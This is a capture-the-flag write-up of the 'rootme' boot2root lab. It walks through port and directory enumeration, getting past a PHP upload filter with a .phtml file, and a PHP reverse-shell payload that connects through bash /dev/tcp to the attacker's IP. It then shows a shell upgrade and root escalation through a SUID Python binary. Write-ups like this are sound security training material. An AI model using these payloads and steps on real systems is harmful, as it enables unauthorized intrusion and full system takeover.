Room Information
  • Name: rootme
  • Category: Boot2root
  • Difficulty: Easy
  • Tools:
    • Nmap
    • Gobuster
  • Skills Learned:
    • Web enumeration
    • SUID exploitation

Reconnaissance

Nmap

A full TCP scan discovers two open ports: SSH on port 22 and HTTP on port 80.

→ root@kali «rootme» «10.9.30.115» 
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport 10.10.215.165                      
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-29 23:35 EDT
Nmap scan report for 10.10.215.165
Host is up, received reset ttl 63 (0.26s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 96.24 seconds

Running a script scan didn’t really helpful, so I’ll dig the website on port 80.

Enumeration

TCP 80 - Website

Visiting the website doesn’t display anything except a prompt-like text “root@rootme:~#”.

image-20210530105241967

Gobuster

A Gobuster scan discovers several directories on this website, ones of which interesting are /uploads and /panel.

→ root@kali «rootme» «10.9.30.115» 
$ gobuster dir -u http://10.10.215.165/ -w /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -z
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.215.165/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/29 23:37:44 Starting gobuster in directory enumeration mode
===============================================================
/js                   (Status: 301) [Size: 311] [--> http://10.10.215.165/js/]
/css                  (Status: 301) [Size: 312] [--> http://10.10.215.165/css/]
/uploads              (Status: 301) [Size: 316] [--> http://10.10.215.165/uploads/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.215.165/panel/]  
/server-status        (Status: 403) [Size: 278]                 
===============================================================
2021/05/29 23:43:21 Finished
===============================================================

/panel

On /panel, there is an upload form, but it blocks a file with .php extensions.

image-20210530105345640

Foothold

Shell as www-data

Upload filter bypass

Uploading a file with extension .phtml bypasses the upload filter. The uploaded file can be found at /uploads/[here].

image-20210530105538891

Reverse shell

I’ll upload the following file and setup a listener to get a shell.

→ root@kali «rootme» «10.9.30.115»  
$ cat iamf.phtml    
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/10.9.30.115/443 0>&1'");

I’ll trigger reverse shell by visiting http://10.10.215.165/uploads/iamf.phtml on the browser.

image-20210530105644738

Shell upgrade

I’ll do the PTY trick to upgrade my shell to interactive one.

www-data@rootme:/var/www/html$ which python
which python
/usr/bin/python
www-data@rootme:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@rootme:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4$ ^Z
[1]  + 2625 suspended  nc -nvlp 443
→ root@kali «rootme» «10.9.30.115» 
$ stty raw -echo; fg
[1]  + 2625 continued  nc -nvlp 443

bash-4.4$ 

The user flag can be found at /var/www/user.txt.

bash-4.4$ find / -type f -user www-data 2>/dev/null | grep -v 'proc\|sys'
...
/var/www/user.txt
...

Privilege Escalation

Shell as root

I find out the current Python binary has SUID bit set.

bash-4.4$ find / -type f -perm -u=s 2>/dev/null | grep -v 'snap'
...
/usr/bin/python
...

Python with SUID can be exploited by executing import os; os.execl("/bin/bash", "bash", "-p"):

bash-4.4$ python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

image-20210530111120071

I can grab the root flag now.

image-20210530111235501

Reference